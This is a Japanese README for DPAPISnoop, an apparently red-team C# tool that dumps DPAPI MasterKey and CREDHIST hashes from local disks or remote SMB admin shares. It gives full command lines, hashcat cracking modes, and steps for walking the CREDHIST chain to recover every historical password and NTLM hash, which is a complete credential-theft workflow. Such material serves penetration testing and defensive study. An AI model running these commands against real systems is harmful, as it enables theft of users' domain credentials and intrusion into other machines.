
ユーザーMasterKeysからクラック可能なDPAPIハッシュを出力するC#ツール
ユーザーのMasterKeysおよびCREDHISTファイルからクラック可能なDPAPIハッシュを抽出するC#ツールです。
MasterKey($DPAPImk$)とCREDHISTチェーン全体($credhist$)の両方を対象とし、ローカルパスとリモートSMB共有をサポートします。
$DPAPImk$)各ユーザーのMasterKeyは \Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\ にあります。
クラックするとユーザーのドメインパスワードが得られ、その時代のすべてのDPAPI保護シークレットを解放できます。
ハッシュのバージョンはOSによって異なります:
Contextフィールドはアカウントの種類をエンコードします:
$credhist$)各ユーザーのCREDHISTファイル内のすべてのエントリ。各エントリは以前のパスワードで暗号化されており、復号するとその前のパスワードのSHA1 + NTLMが得られます。
チェーンをクラックすることで、すべての履歴パスワードとそのNTLMハッシュを復元できます。
エントリはユーザー名フィールドにラベル付けされるため、出力は自己説明的です:
alice[current]:$credhist$*... ← encrypted with the current password; crack this first
alice[prev1]:$credhist$*... ← encrypted with the previous password
alice[prev2]:$credhist$*...
エントリのハッシュバージョンはOSによって異なります:
-m 15920 でクラック-m 15930 でクラックDPAPISnoop.exe [rootDir] [options]
rootDir は省略時は %HOMEDRIVE% がデフォルトです。UNCパスを完全にサポートします。
# Local machine — dump everything (defaults to %HOMEDRIVE%)
DPAPISnoop.exe
# Local machine — walk CREDHIST chain from a known password
DPAPISnoop.exe C: --password Summer2026!
# Local machine — walk CREDHIST chain from a known SHA1
# (e.g. from sekurlsa::wdigest pwdhash or dpapi cache)
DPAPISnoop.exe C: --sha1 da39a3ee5e6b4b0d3255bfef95601890afd80709
# Remote share — dump everything
DPAPISnoop.exe \\server01\c$
# Remote share — CREDHIST only, redirect hashes to file
DPAPISnoop.exe \\server01\c$ --credhist-only > credhist_hashes.txt
# Remote share — walk CREDHIST chain from a known password
DPAPISnoop.exe \\server01\c$ --password Summer2026!
hashcat -a0 -m 15300 hashes.txt wordlist.txt # v1 local/domain pre-1607
hashcat -a0 -m 15310 hashes.txt wordlist.txt # v1 domain post-1607
hashcat -a0 -m 15900 hashes.txt wordlist.txt # v2 local/domain pre-1607
hashcat -a0 -m 15910 hashes.txt wordlist.txt # v2 domain post-1607
hashcat -a0 -m 15920 credhist_hashes.txt wordlist.txt # 3DES entries (≤ Vista)
hashcat -a0 -m 15930 credhist_hashes.txt wordlist.txt # AES-256 entries (≥ Win10 20H2)
クラック後、復元したパスワードをDPAPISnoopに渡してチェーン全体を辿り、すべての履歴SHA1およびNTLMを出力します:
DPAPISnoop.exe C:\ --password Summer2024! > ntlms.txt
DPAPISnoop.exe C:\ --sha1 <40-hex-sha1> > ntlms.txt
README を確認してください
この研究開発は、人間とAI支援ツールの協働により、AIモデルGPT-5.5およびClaude Sonnet 4.6を使用して実施されました。
AIモデルはコード生成およびリバースエンジニアリング支援のために使用されました。
ただし、すべての研究方針、検証、デバッグ、テスト、セキュリティ分析、および最終的な技術的判断は人間(Imdefinelyhuman)によって行われました。
生成されたすべてのコンテンツ、コード、分析は、反復的な人間主導のワークフローの一環として手動でレビュー、検証、修正、統合されました。
上記の記述は、要するにコードにはバグがあり、自己責任で使用してくださいということを格好よく言ったものです。
Lefteris (lefty) Panos @ LRQA Red Team 2026
| フラグ | 説明 |
|---|
| (none) | 現在のユーザーの $DPAPImk$ と $credhist$ をダンプ |
--credhist-only / -c | MasterKey出力をスキップし、$credhist$ 行のみ出力 |
--password <plaintext> / -p | 現在の平文パスワードからCREDHISTチェーンを辿る |
--sha1 <40-hex> | 現在のパスワードの既知のSHA1からCREDHISTチェーンを辿る |
--pre1607 | ドメインMasterKeyハッシュについて、context 3の代わりにcontext 2(1607より前のドメイン)を出力 |